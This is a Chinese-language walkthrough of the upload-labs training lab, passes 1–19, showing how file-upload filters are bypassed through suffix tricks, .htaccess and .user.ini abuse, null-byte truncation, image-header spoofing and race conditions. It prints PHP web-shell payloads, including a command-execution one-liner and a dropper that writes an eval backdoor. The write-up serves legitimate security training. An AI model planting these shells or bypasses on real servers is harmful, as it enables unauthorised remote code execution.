uploads-labs

uploads-labs

第一题和第2题都很基础这里就简单讲述了

pass-01(前端js校验)

image-20250420200008972

就说这个函数限制的,第一种办法我们可以不让他调用,第2种就是上传图片马然后bp抓包再修改为php文件就可以了

pass-02(MIME验证)

分析代码发现只对content-type进行了验证,我们只需抓包

image-20250420200747162

修改为这三个中的一个就可以了

pass-03(黑名单验证-特殊后缀)

查看源码发现是黑名单,不准上传php等文件,但是只过滤了一点点

image-20250420205806922

在某些特定环境中某些特殊后缀仍会被当作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml

所以我们写完一句话木马直接上传这些即可,这里我们上传了一个1.phtml文件

image-20250421033304045

Pass-04(.htaccess)

打开发现黑名单过滤的更多了

但是.htaccess没有被过滤那这个是什么呢

是什么

.htaccess 解析漏洞是 Apache 服务器中因错误配置或允许用户上传自定义 .htaccess 文件导致的 文件解析逻辑绕过 漏洞。攻击者可利用该漏洞将非可执行文件(如图片)强制解析为脚本文件(如 PHP),从而执行恶意代码。以下是其核心原理、利用方式及防御策略的综合分析
.htaccess(超文本访问)是许多Web服务器根据目录应用设置的有用文件,允许在运行时覆盖Apache服务器的默认配置。使用.htaccess,我们可以在运行时轻松启用或禁用任何功能

漏洞原理与形成条件

.htaccess 文件的功能
.htaccess 是 Apache 的分布式配置文件,允许用户在特定目录下自定义服务器行为,例如重定向、访问控制、MIME 类型设置等。通过修改该文件,可覆盖全局配置。

漏洞触发机制

文件解析规则重写:攻击者上传恶意 .htaccess 文件,添加如 AddHandler php5-script .gif 或 SetHandler application/x-httpd-php 指令,强制指定扩展名(如 .gif)的文件以 PHP 解析。
绕过文件上传限制:若服务器未禁止 .htaccess 文件上传,且未对上传文件内容进行严格校验,攻击者可覆盖解析规则,使图片马(含 PHP 代码的图片文件)被当作脚本执行。
必要环境条件

Apache 服务器且允许 .htaccess 文件覆盖配置(AllowOverride All)。
PHP 版本较低(如 PHP 5.6 以下非线程安全版本)。
文件上传功能未对 .htaccess 文件类型进行过滤。

做法

SetHandler application/x-httpd-php 这行代码通常出现在 Apache HTTP 服务器 的配置文件中,或者 .htaccess 文件中。它的作用是告诉 Apache 服务器如何处理某些文件类型,特别是将指定类型的文件交给 PHP 处理

创建一个.htaccess文件在里面写上这个代码

image-20250421170510703

由于黑名单的影响,所以我们在上传一个图片马

image-20250421171006405

要注意.htaccess文件是只有在apache服务器上面的

pass-05(.user.ini)

.user.ini

首先介绍php.ini文件,php有很多配置,并可以在php.ini中设置。在每个正规的网站里,都会由这样一个文件,而且每次运行PHP文件时,都会去读取这个配置文件,来设置PHP的相关规则。
这些配置可以分为四种

image-20250421210416909

我感觉是按重要程度分类了,比如关乎到系统一类的配置,那一类的全部配置,都属于“PHP_INI_SYSTEM”。它只能在,像php.ini这样的“厉害”的文件里可以设定。而其他的三类不怎么重要的配置,除了可以在php.ini中设定外,还可以在其它类似的文件中设定,其中就包括.user.ini文件。

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

1
auto_prepend_file=test.jpg

或者

1
auto_append_file=test.jpg

这是 PHP 的一个配置项,表示:

  • 在 PHP 运行任何脚本之前,自动包含某个文件
  • 等效于你每个 PHP 文件开头加上 include('shell.png');

所以我们上传完一个.user.ini文件中,然后由于黑名单的原因,我们再上传图片马即可

image-20250421212246954

pass-06(大小写绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

发现大小写没有过滤完全,我们采用大小写的方法绕过

image-20250423205503927

image-20250423205542411

pass-07(空格绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

对比上一关的函数发现没有了trim函数

Trim函数用于删除字符串首尾的空白字符,包括空格、制表符、换行符等。这个函数不会改变原始字符串,也不会影响字符串内部的空格

所以我们用空格去绕过

image-20250423210326467

image-20250423210355208

上传成功,找到上传的地址

image-20250423210549447

pass-08(点号绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

对比上个代码发现少了deldot函数

deldot函数为upload-lab中一个常见的函数,它实际为一个自定义函数,定义于common.php中,即从字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止

为此我们可以用加.来绕过

image-20250423211017987

image-20250423211115720

pass-09(::$DATA流绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

对比其他代码发现少了str_ireplace函数

str_ireplace函数用于对数组中的元素或字符串中的子串进行替换,第一个参数$search为需要替换的内容(字符串或数组),第二个参数$replace为替换成的内容(字符串或数组)

所以我们加::$DATA后缀来绕过

image-20250423211708113

image-20250423211857895

这里顺便看了一下关于这个的简介

image-20250423213455130

::$DATA就是默认不修改文件流的情况,a.txt::$DATA也就是a.txt本身了。最后得出结论a.txt::$DATA和a.txt是等价的,就可以用a.txt::$DATA绕过

pass-10(. .绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这次发现这个所有函数都加上了,那该用啥骚姿势绕过呢

deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

所以我们用.+空格+.来绕过

image-20250423214044213

image-20250423214124896

pass-11(黑名单验证,双写绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这题看着没有delot函数,我在想能不能再一次用.来绕过来着,于是我去试了下

image-20250423215248237

然后得到了这个路径

image-20250423215308936

发现php是被删掉了

image-20250423214853484

于是去看了源码,发现原来是str_ireplace在捣鬼,把那个数组里面的内容都删掉了

所以我们采用双写绕过

image-20250424203137799

这样删除一个php后,遗留下来的依然是php文件,然后访问即可

image-20250424203228559

pass-12(get 00截断)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

感觉这题理解了好久才做出来的,我觉得我的疑问也是大部分想问的吧,一步一步来解析清楚

1. 文件名检测只看扩展名,不看内容

这个代码的逻辑最终只会检查最后的扩展名(铺垫了后面)

PHP 的 substrin_array 只会看到最后的扩展名 png,于是放行

2.NULL 字节导致的路径和文件名“截断”

move_uploaded_file() 最终调用底层的 C 函数(如 open())时,C 字符串以 \0 作为结束标志,
后面的 .png 和随机名拼接都会被“看不见”,所以当你使用%00截断符时,后面的都会解析不到,C 底层字符串遇 \0 就结束了,所以后缀和随机名都被丢弃,最终文件名成了 .php,操作系统只在 ../upload/12.php(到 NULL 为止)创建并写入文件,
于是你得到了一个名为 12.php 的文件

3.为什么 12.php 里能看到那句“木马”?

你上传的其实还是那个 PNG 文件的 完整二进制内容,只是文件名被当成了 .php

  • 在这张 PNG 里,你事先把一句 PHP 木马(例如 <?php system($_GET['cmd']);?>)嵌在了一个文本块(tEXt chunk)或者文件头后面。

  • 操作系统只管把你给的字节流按原样写进 12.php,并不会删减或过滤文件内容。

  • 用文本编辑器打开 12.php,因为大部分 PNG 二进制是不可见字符,编辑器只会显示那句嵌在其中的可打印 PHP 代码

    image-20250424214703284

然后文件里面就会有个php文件了

image-20250424214724067

pass-13(post 00截断)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

这题只是从上一题的get改成了post

但由于post不会跟get那样自动对%00进行url解码,所以我们在hex里面修改即可

image-20250425084319694

image-20250425084307335

image-20250425084400600

pass-14(图片马unpack)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

这题代码逻辑是读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件及其后缀

image-20250426202526473

也告诉你有文件包含漏洞,于是我们访问include.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>

文件包含漏洞:通过 include()require() 函数把用户提供的文件包含进来,若文件是恶意的,PHP 会执行其中的代码,所以最后我们都会用file包含这个图片就可以了

是字节头绕过的

image-20250427181156595

前面两个字节换成png的魔术头,就可以绕过了

image-20250427181229368

使用

1
url=include.php?file=upload/xxxxxxxxx.png

就可以使用命令了

image-20250427181245668

pass=15(getimagesize图片马)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

发现它是用getimagesize()函数来判断文件格式的

getimagesize() 函数将确定任何支持的指定图像文件的大小,并返回尺寸以及文件类型和 height/width 文本字符串,以在标准 HTML IMG 标签和对应的 HTTP 内容类型中使用

但是我们可以使用GIF89a图片头欺骗,因为这个函数检测不了

什么是GIF89a:

一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片

image-20250427185109910

image-20250427185128474

传上去之后再次使用文件包含漏洞去检测

image-20250427185205016

pass-16(exif_imagetype图片马)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

exif_imagetype() 读取一个图像的第一个字节并检查其签名

这看起来并前面那个读取两个字节的应该更简单才对吧,不过这个函数有个特点,官方介绍的里面

注意:

如果无法从文件中读取足够的字节来确定图像类型,exif_imagetype() 将发出 E_NOTICE 并返回 false

就是说如果你只构造一个字节的话,是完全不够的,所以我们就过构造一些

image-20250427194538923

上传成功

image-20250427194557775

然后使用命令看看能不能用

image-20250427194628567

这15和16关的两个方法都是通用的,我试了一下都是互相可以通过的

pass-17(2次渲染绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = UPLOAD_PATH.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.$newfilename;
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = UPLOAD_PATH.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.$newfilename;
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = UPLOAD_PATH.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.$newfilename;
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

校验:扩展名必须是 “jpg”,且浏览器报的 MIME 类型是 image/jpeg

保存:先用 move_uploaded_file() 把临时文件存到 UPLOAD_PATH/原始名.jpg

二次渲染

  1. imagecreatefromjpeg() 读入刚保存的文件,若不能读则说明文件头不对(可能是伪装的木马)→ 删除它并报错。

  2. 如果读取成功,生成一个新的随机文件名(避免覆盖、暴力猜解),再用 imagejpeg() 重新渲染并保存,这一步**彻底“净化”**了图片内容,木马代码等附加数据都被丢弃。

  3. 删除原始保存的文件,只保留“干净”的重新渲染的那一张。

    采用imagejpeg函数净化

格式限制:JPEG/PNG/GIF 的解析函数都只认它们各自的格式规范,不会把格式外的字节解析当成图像。

解码—再编码:先把图像解码成位图,再重新编码,任何“解码不了”的数据都被丢掉。

结果文件:输出的是 GD 库重编的图片流,保证只有图像数据。

所以我们的思路是要找到“净化”也就是2次渲染后的图片没变的地方,插入一句话木马就可以了

我们先上传一个gif图片,然后再复制路径去下载,然后在010上面去比较一下

image-20250427212112392

然后在蓝色的地方(也就是相同的地方),插入一句话木马,可能要找几次地方,就行了,然后再上传我们刚刚改过的图片

image-20250427212422439

pass-18(条件竞争)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

白名单检查扩展名是否合法,如果不合法:设置错误信息并用 unlink() 删除刚才存下的文件

当然这题是不能去用include.php去包含的,因为这出题人的意图就不在这,那难道我们就要技穷了吗,根据代码我们知道,这个是先上传到服务器然后再判断再进行删除的,所以我们可以利用这个点来进行条件竞争

那么,条件竞争是什么:

条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现bug。尤其在当前我们的系统中大量对资源进行共享,如果处理不当的话,就会产生条件竞争漏洞。说的通俗一点,条件竞争涉及到的就是操作系统中所提到的进程或者线程同步的问题,当一个程序的运行的结果依赖于线程的顺序,处理不当就会发生条件竞争

简单来讲就是,我们通过多次发送,总有一瞬间的时间,它是删除不过来的,由于是一瞬间的事情,我们就不能只上传一个简单的一句话木马,因为这个文件还是会被删除的,因此我们要它执行完一段代码后,还能创建一个文件,已得到来创建后门的目的

1
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');

这段 PHP 代码的作用就是在服务器上“动态”生成一个名为 Tony.php 的后门文件,具体流程如下

fopen('Tony.php','w')

  • 以写入(w)模式打开(或新建)一个叫 Tony.php 的文件。
  • 如果文件不存在,就会创建它;如果已存在,则会被清空。

fputs(…, '…')

  • 将第二个参数里的字符串写入第一个参数所代表的文件流。

所以执行完这段代码之后,就会有个Tony.php的包含一句话木马的文件

操作过程

先讲这句代码写在1.php文件里,并上传抓包,写好payload,

image-20250428211025432

image-20250428211046605

image-20250428211057384

然后再访问1.php的位置开始上传抓包

image-20250428211109774

image-20250428211210257

image-20250428211228923

image-20250428211237104

然后先攻击这个上传的文件,再攻击访问这里的文件,如果访问这里的攻击的状态码有200,那么就是成功了

image-20250428211335863

image-20250428211352929

也发现有这个文件了,然后采用蚁剑连接看一下

image-20250428211500198

可以成功访问,这里访问1.php的意思是我们要让他运行这一段代码(在这空隙当中)

pass-19(条件竞争+apache漏洞)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

